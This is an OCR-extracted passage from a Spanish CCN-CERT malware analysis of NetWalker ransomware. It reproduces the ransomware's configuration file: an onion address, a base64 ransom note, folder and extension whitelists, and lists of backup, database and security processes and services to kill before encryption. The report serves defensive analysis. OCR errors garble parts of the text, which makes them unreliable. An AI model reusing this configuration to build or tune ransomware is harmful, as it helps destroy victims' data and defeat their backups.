1) éEn qué direccidn estas trabajando?
2) Experiencia. ¢Con qué programas de afiliacion ya trabajo y cudl fue su beneficio?

3) éCuanto material tiene y cuando esta listo para comenzar, cuanto planea procesar el material?

Centro Criptolégico Nacional USO OFICIAL




@l USO OFICIAL CN ) cm

CCN-CERT ID-05/20 Cdédigo Dainino NetWalker centro ariptolégico nadonal

11. ANEXO B - Fichero de configuracion

{
"mpk": "/fqCb2TTvBeb3VolL4IXalfgDDn+sEO4+mBhlj9vrLEk=",
"mode": 0,
"spsz": 15360,
"thr": 1000,
"namesz": 8,
"idsz": 6,
"Ifile": "{id}-Readme.txt",
"onion": "rnfdsgm6wb6j6suStxkekw4udyad7kp2eatvu7dexhyn5csdltdpdrggd.onion”,

"lend":
"SGkhDQpZb3VyIGZpbGVzIGFyZSBIbmNyeXB0ZWQgYnkgTmV0d2Fsa2VyLgOKQWxsIGVuY3J5cHRIZCBma
WxlcyBmb3IlgdGhpcyBjb21wdXRIciBoYXMgZXh0ZW5zaW9uOiAue2lkfQOKDQotLQOKSWYgZm9yIHNvbW
UgcmVhc29ulHIvdSByZWFkIHRoaXMgdGV4dCBiZWZvemUgdGhliGVuY3J5cHRpb24gZW5kZWQsDQp0aGl
zIGNhbiBiZSB1bmRIcnNOb29kIGJ5IHRoZSBmYWNOIHRoYXQgdGhlIGNvbXB1dGVyIHNsb3dzIGRvd24sIAOK
YW5kIHIvdXIgaGVhcnQgecmF0ZSBoYXMgaW5jcmVhc2VkIGR1ZSBObyB0aGUgYWJpbGl0eSBObyBOdXJulGl
01G9MZiwNCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1lvdmUgYXdheSBmcm9tIHRoZSBjb21wdXRl
ciBhbmQgYWN;jzZXBOIHRoYXQgeW91IGhhdmUgYmVIbiBjb21wcm9taXNIZCANCIIYm9vdGluzZy9zaHVOZG9
3biB3aWxsIGNhdXNIIHIvdSBObyBsb3NIIGZpbGVzIHdpdGhvdXQgdGhlIHBvc3NpYmlsaXR51GO9mIHIIY2927Z
XJ5Lg0KDQotLQOKT3VyICBIbmNyeXB0aW9ulGFsZ29yaXRobXMgYXJIIHZIcnkgc3Ryb25nIGFUZCB5b3VylGZ
pbGVzIGFyZSB2ZXJ5IHdIbGwgcHIvdGVjdGVKLCANCnRoZSBvbmx5IHdheSBObyBnZXQgeW91ciBmaWxlcy
BiYWNTrIGIzIHRvIGNvb3BlcmF0ZSB3aXRolHVzIGFuZCBnZXQgdGhlIGRIY3J5cHRIciBwcm9ncmFtLgOKDQpE
byBub3QgdHJ5IHRVIHIIY292ZXIgeW91ciBmaWxlcyB3aXRob3VOIGEgZGVjcnlwdGVylHByb2dyYWOsIHIvdS
BtYXkgZGFtYWdIIHRoZWOgYWS5kIHRoZW4gdGhleSB3aWxsIGJIIGItcG9zc2libGUgdG8gcmVjb3ZIci4NCgOK
Rm9yIHVzIHRoaXMgaXMganVzdCBidXNpbmVzcyBhbmQgdG8gcHJvdmUgdG8geW911G91ciBzZXJpb3Vzb
mVzcywgd2Ugd2lsbCBkZWNyeXBOIHIvdSBvbmUgZmIsZSBmb3IlgZnJIZS4NCkp1c3Qgb3BlbiBvdXigd2Vic2l
0ZSwgdXBsb2FkIHRoZSBlbmNyeXB0ZWQgZmlsZSBhbmQgZ2VO0IHRoZSBkZWNyeXBOZWQgZmIsZSBmb3lg
ZnJIZS4ANCgOKLSONCgOKU3RIcHMgdG8gZ2VO0IGFjY2VzcyBvbiBvdXlgd2Vic2l0ZToNCgOKMS5Eb3dubG9hZC
BhbmQgaW5zdGFsbCBOb3ItYnlJvd3NIcjogaHROcHM6LYy90b3Jwecm9gZWNOLmM9yZy8NCg0OKMi5PcGVulG9
1¢iB3ZWJzaXRI0iB7b25pb259DQoNCjMuUHVOIHIvdXIgeGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZ
m9ybToNCg0Ke2NvZGV9",

"white": {
"path": [
"*system volume information",
"*windows.old",
"*:\\users\\*\\*temp",
"*msocache",
"*:\\winnt",

"*Swindows.~ws",
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"*perflogs",
"*pboot",
"*:\\windows",
"*:\\program file*\\vmware",
"WW*\\users\\*\\*temp",
“\W\*\\winnt",
"“WW\*\\windows",
"*\\program file*\\vmware",
"*appdata*microsoft”,
"*appdata*packages",
"*microsoft\\provisioning",
"*dvd maker",
"*Internet Explorer",
"*Mozilla",
"*Mozilla*",
"*0ld Firefox data",
"*\\program file*\\windows media*",
"*\\program file*\\windows portable*",
"*windows defender",
"*\\program file*\\windows nt",
"*\\program file*\\windows photo*",
"*\\program file*\\windows side*",
"*\\program file*\\windowspowershell",
"*\\program file*\\cuass*",
"*\\program file*\\microsoft games",
"*\\program file*\\common files\\system",
"*\\program file*\\common files\\*shared",
"*\\program file*\\common files\\reference ass*",
"*\\windows\\cache*",
"*temporary internet*",
"*media player",
"*:\\users\\*\\appdata\\*\\microsoft",
"\W\\*\\users\\*\\appdata\\*\\microsoft"
1,
"file": [
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"ntuser.dat*",
"iconcache.db",
"gdipfont*.dat",
"ntuser.ini",
"usrclass.dat",
"usrclass.dat*",
"boot.ini",
"bootmgr",
"bootnxt",
"desktop.ini",
"ntuser.dat",
"autorun.inf",
"ntldr",
"thumbs.db",
"bootsect.bak",
"bootfont.bin"

I
"ext": [
“msp",

exe",

sys",

"mod",

"clb",

"mui",
"regtrans-ms",
"theme",

“hta",

shs",
"nomedia",
"diagpkg",
"cab",

ics",

"msstyles",
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"drv",
"icns",
"diagcfg",
"dil",

"adv",
"386",
"com",
“hip",

"rom",
"lock",
"386",

wpx",
"ani",

"prf",

"rtp",

"ldf",

"key",

"diagcab",

"cmd"”,

"spl",
"deskthemepack"”,

n bat",

"themepack"
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"kill": {
"use": true,
"prc: [
"nslsvice.exe",
"pg*",
"nservice.exe",
"cbvscserv*",
"ntrtscan.exe",
"cbservi*",
"hMailServer*",
"IBM*",
"bes10*",
"black*",
"apach*",
"bd2*",
"db*",
"ba*",
"be*",
"QB*",
"oracle*",
"wbengine*",
"vee*",
"postg*",
"sage*",
"sap*",
"b1*",
"fdlaunch*",
"msmdsrv*",
"report*",
"msdtssr*",
"coldfus*",
"cfdot*",

stag*",
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"swstrtr*",
"jetty.exe",
"wrsa.exe",
"team*",

"agent*",
"store.exe",

"sql*",
"sgbcoreservice.exe",
"thunderbird.exe",
"ocssd.exe",
"encsvc.exe",
"excel.exe",
"synctime.exe",
"mspub.exe",
"ocautoupds.exe",
"thebat.exe",
"dbeng50.exe",
“*Sql*“,
"mydesktopservice.exe",
"onenote.exe",
"outlook.exe",
"powerpnt.exe",
"msaccess.exe",
"tbirdconfig.exe",
"wordpad.exe",
"ocomm.exe",
"dbsnmp.exe",
"thebat64.exe",
"winword.exe",
"oracle.exe",
"xfssvccon.exe",
"firefoxconfig.exe",
"visio.exe",
"mydesktopgos.exe",

"infopath.exe",

Centro Criptolégico Nacional USO OFICIAL




@l USO OFICIAL CN i cm

CCN-CERT ID-05/20 Cdédigo Dainino NetWalker centro ariptolégico nadonal

"agntsvc.exe"

I,
"sve'": [

"Lotus*",
"veeam*",
"cbvscserv*",
"hMailServer",
"backup*",
"*backup*",
"apach*",
"firebird*",
"ibmiasrw",

"IBM Domino*",
"Simply Accounting Database Connection Manager",
"lASJet",

"QB*",

sl

"sql*",
"QuickBooksDB*",
"[ISADMIN",
"omsad",

"dc*32",

"server Administrator",
"wbengine",
"mr2kserv",
"MSExchange*",
"ShadowProtectSvc",
"SP*4",
"teamviewer",
"MMS",
"AcronisAgent",
"ARSM",
"AcrSch2Svc",
"vsnapvss",

"SPXService",
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"StorageCraft ImageManager",
"wrsvc",
"stc_endpt_svc",
"acrsch2svc*"

I,
"svcwait": 0,
"task": [
"reboot",
"restart"”,
"shutdown",
"logoff",
"back"
]
}
"net": {
"use": true,
"ignore": {
"use": true,
"disk": true,
"share": [
"ipcs”,

"adminS"

}
}
"unlocker": {
"use": true,
"ignore": {
"use": true,
"pspath": [
"*:\\windows*",
"*:\\winnt*",
"*:\\program file*\\vmwar*",
"*\\Program File*\\Fortinet"
1

Centro Criptolégico Nacional USO OFICIAL




@l USO OFICIAL CN i cm

CCN-CERT ID-05/20 Cdédigo Dainino NetWalker centro ariptolégico nadonal

"prc": [
"psexec.exe",
"system",
"forti*.exe",
"fmon.exe",
"fcaptmon.exe",

"FCHelper64.exe"
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